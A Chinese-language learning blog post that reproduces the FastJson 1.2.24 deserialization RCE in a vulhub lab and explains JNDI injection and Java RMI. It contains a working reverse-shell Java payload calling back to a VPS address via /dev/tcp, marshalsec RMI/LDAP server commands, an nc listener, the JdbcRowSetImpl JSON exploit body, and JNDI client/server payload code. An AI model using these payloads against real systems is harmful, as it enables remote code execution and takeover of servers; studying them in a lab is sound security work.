前言
不知道怎么入的坑,看到了FastJson的反序列漏洞,然后就想复现,复现的过程中我有诸多疑惑,不清楚POC的原理,不知道如何使用intellij IDEA动态的跟踪调试,对Java代码的极度不熟悉,再加上第一次接触FastJson这个API,都使我步履维艰,但是,我坚信,柳暗花明又一村!谨以此篇Blog记录我对于FastJson漏洞的一切研究,或许对读者你有一些启发本人只是学安全的小白,如有错误,还请大佬指正!弟弟我先在这里谢过众位大佬了
FastJson简介
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
首先我觉得自己要先熟悉FastJson。所以我先去菜鸟教程学了一波~
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
FastJson漏洞
大概学完之后,我就漫无目的的在搜索关于fastjson漏洞的一切,看完之后,啥也没看懂,偶然的机会我在Freebuf看到一篇文章,我决定跟随这篇文章的轨迹(沿着前辈的脚步)研究fastjson漏洞。
RCE漏洞的源头:17年fastjson爆出的1.2.24反序列化漏洞。此次漏洞简单来说,就是Fastjson通过parseObject()/parse()将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的
先从简单的入手,利用vulhub里边的环境我尝试复现一下这个漏洞。
我用到的环境如下:
-
Linux虚拟主机一台:CentOS 7 64bit(内含有docker,并利用docker成功搭建好vulhub上的环境)
-
阿里云VPS一台:CentOS 7.5 64bit
-
物理机一台:Windows 10 64bit
用到的POC(反弹shell):
// javac ExploitFile.java
import java.lang.Runtime;
import java.lang.Process;
public class ExploitFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/123.56.101.164/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
复现过程如下:
(1)由于我的VPS没有javac的环境,所以我选择将以上POC保存至ExploitFile.java,然后在我物理机上编译,然后将编译好的ExploitFile.class文件传到VPS上的root用户家目录新建的fastjson目录中。除此我们还需要用到marshalsec,我也是物理机上编译工程,然后生成的marshalsec-0.0.3-SNAPSHOT-all.jar传到VPS~/fastjson目录下。
(2)使用python快速搭建一个HTTP服务,在VPS上/fastjson目录下执行以下命令。这一步大家如果有看不懂的可以参考[这篇文章](https://www.cnblogs.com/lmg-jie/p/9564608.html)看一下
python -m SimpleHTTPServer 5200
#使用上面的命令可以把当前目录发布到4444端口
(3)执行以下命令,开启rmi或ldap服务,5200是上方服务的端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://123.56.101.164:5200/#ExploitFile" 9999
对于上面命令的解释:
#rmi服务器,rmi服务起在9999 恶意class在http://ip:5200/文件夹/#ExportObject
#不加9999端口号 默认是1099
补充:
同时我们可以不选择开启RMI,而选择开启LDAP:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088
#rmi服务器,rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject
#不加8088端口号 默认是1389
(4)VPS使用nc监听1234端口
nc -lvp 1234
(5)借助burpsuite向靶机POST如下内容:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://123.56.101.164:9999/ExploitFile",
"autoCommit":true
}
}
(6)反弹shell成功
复现完成之后我心里很疑惑,关于fastjson的反序列化我仍然啥都不懂,并且我还有如下几个问题:
- marshalsec是什么东西?
- 从复现的步骤里我看不出所谓的反序列化(漏洞利用的原理)?
以上几个问题我先不回答,之后就开始了漫长的爬坑,不过还好,有收获!
JNDI注入原理与应用
参考:https://xz.aliyun.com/t/6633
Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
代码格式如下:
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
RMI格式:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
所谓的JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。
下面我们参照大佬的POC,做一波验证:
环境:Windows 10 64bit python 2.7 Intellij IDEA 2020.1
(1)参照大佬的代码,在IDEA里边创建com包下创建ExecTest.java,并且创建com.jndi包同时在这个包里创建client.java、server.java。代码如下(我参考我的实际环境做了适量修改):
//client.java(受害者)
package com.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
public class client {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
//server.java(攻击者起的RMI服务)
package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:5200/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding ‘refObjWrapper‘ to ‘rmi://127.0.0.1:1099/aa‘");
registry.bind("aa", refObjWrapper);
}
}
//ExecTest.java(攻击payload)
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("whoami");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) {
exec("123");
}
}
(2)来到工程文件夹找到ExecTest.java文件,使用javac ExecTest.java
编译一下,并且使用python2 -m SimpleHTTPServer 5200
将当前文件夹映射到HTTP服务。
(3)在IDEA先运行server.java,然后运行client.java,结果如下图所示。
解释:正如大佬所说的一样,此次实验成功的前提是:java版本小于1.8u191。因为之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。我这边java版本是1.8u202,差了点意思~唉,不能幸运的看到实验的结果。对于分析调用流程,就看大佬的吧,我就不多说了。
下面回答上边的第一个问题,marshalsec是什么东西?以上我们是使用代码借助intellij IDEA 起的RMI服务,为了方便性,marshalsec可以快速的帮助我们起一个RMI或者LDAP服务。说白了,就是一个工具。
- 补充:什么是RMI?
RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。(我们可以再之后数据包中看到该协议特征)
在RMI中对象是通过序列化方式进行编码传输的。(我们将在之后证实)
RMI分为三个主体部分:
Client-客户端:客户端调用服务端的方法
Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。
总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。
唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。
未完待续。。。
关于FastJson漏洞的后世,参考一下两篇Blog,等我时间充裕,再和大家一起消化吸收